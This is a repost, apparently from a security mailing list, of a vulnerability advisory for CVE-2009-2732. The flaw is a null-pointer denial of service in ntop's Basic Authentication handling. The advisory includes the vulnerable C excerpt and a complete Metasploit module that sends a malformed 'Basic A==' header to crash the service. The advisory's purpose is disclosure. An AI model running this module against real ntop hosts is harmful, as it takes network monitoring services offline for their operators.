(Reposting truncated message) Re: ntop <= 3.3.10 Basic Authentication Null Pointer Denial of Service

[dm@xxxxxxxxxxxxxxxxx]

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On Tue, Aug 18, 2009 at 11:13:05AM -0600, brad.antoniewicz@xxxxxxxxxxxxxx wrote:
> Title: ntop <= 3.3.10 Basic Authentication Null Pointer Denial of Service
> ---------------------------------------------------------------------------------
> 
> Vendor: ntop
> 
> Vendor URL: www.ntop.org
> 
> Vendor Response: None
> 
> Description:
> 
> A denial of service condition can be reached by specifying an invalid value 
> for the Authorization 
> HTTP header. When ntop recieves this, it attempts to base64 decode the value 
> then split it based on
> a colon. When no colon exists in the decoded string the username is left at 
> its default NULL value. 
> During the authentication process the length of the username is computed via 
> strlen(), which results
> in a segmentation fault when it processes the null value. 
> 
> Code:
> 
> static int checkHTTPpassword(char *theRequestedURL,
>                              int theRequestedURLLen _UNUSED_,
>                              char* thePw, int thePwLen) {
>   char outBuffer[65], tmpOutBuffer[65], *user = NULL, 
> users[LEN_GENERAL_WORK_BUFFER];

-- 
Dave McKinney
Symantec

keyID: E461AE4E
key fingerprint = F1FC 9073 09FA F0C7 500D  D7EB E985 FAF3 E461 AE4E

Title: ntop <= 3.3.10 Basic Authentication Null Pointer Denial of Service
---------------------------------------------------------------------------------

Vendor: ntop

Vendor URL: www.ntop.org

Vendor Response: None

Description:

A denial of service condition can be reached by specifying an invalid value for 
the Authorization 
HTTP header. When ntop recieves this, it attempts to base64 decode the value 
then split it based on
a colon. When no colon exists in the decoded string the username is left at its 
default NULL value. 
During the authentication process the length of the username is computed via 
strlen(), which results
in a segmentation fault when it processes the null value. 

Code:

static int checkHTTPpassword(char *theRequestedURL,
                             int theRequestedURLLen _UNUSED_,
                             char* thePw, int thePwLen) {
  char outBuffer[65], tmpOutBuffer[65], *user = NULL, 
users[LEN_GENERAL_WORK_BUFFER];

.
.
.
     if(outBuffer[i] == ':') {
        outBuffer[i] = '\0';
        user = outBuffer;
        break;
      }
.
.
.
if(strlen(user) >= sizeof(theHttpUser)) user[sizeof(theHttpUser)-1] = '\0';
.
.
.


Affected Operating Systems:
Only tested on Linux

Affected Versions:
ntop <= 3.3.10

CVE: CVE-2009-2732

Credit:

Brad Antoniewicz

brad.antoniewicz@xxxxxxxxxxxxxx


code:

START modules/auxiliary/dos/http/ntop_basic.rb 
---------------------------------------

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::HttpClient
        include Msf::Auxiliary::Dos
        
        def initialize(info = {})
                super(update_info(info, 
                        'Name'           => 'NTOP <= 3.3.10 Basic Authorization 
DoS',
                        'Description'    => %q{
                                A denial of service condition can be reached by 
specifying an invalid value for the Authorization 
                                HTTP header. When ntop recieves this, it 
attempts to base64 decode the value then split it based on
                                a colon. When no colon exists in the decoded 
string the username is left at its default NULL value. 
                                During the authentication process the length of 
the username is computed via strlen(), which results
                                in a segmentation fault when it processes the 
null value. 
                        },
                        'Author'         => 'Brad Antoniewicz 
<brad.antoniewicz@xxxxxxxxxxxxxx>',
                        'License'        => MSF_LICENSE,
                        'Version'        => '1',
                        'References'     => [
                                [ 'BID', 'None'],
                                [ 'CVE', 'CVE-2009-2732']
                                
                        ],
                        'DisclosureDate' => 'Aug 08 2009'))
                        register_options( [Opt::RPORT(3000),], self.class )

        end

        def run
                begin
                        o = {
                                'uri' => '/configNtop.html',
                                'headers' => {
                                        'Authorization' => 'Basic A=='
                                }
                        }

                        c = connect(o)
                        c.send_request(c.request_raw(o))

                        print_status("Request sent to #{rhost}:#{rport}")
                rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, 
::Rex::ConnectionTimeout
                        print_status("Couldn't connect to #{rhost}:#{rport}")
                rescue ::Timeout::Error, ::Errno::EPIPE                 
                end
        end
end

END modules/auxiliary/dos/http/ntop_basic.rb 
---------------------------------------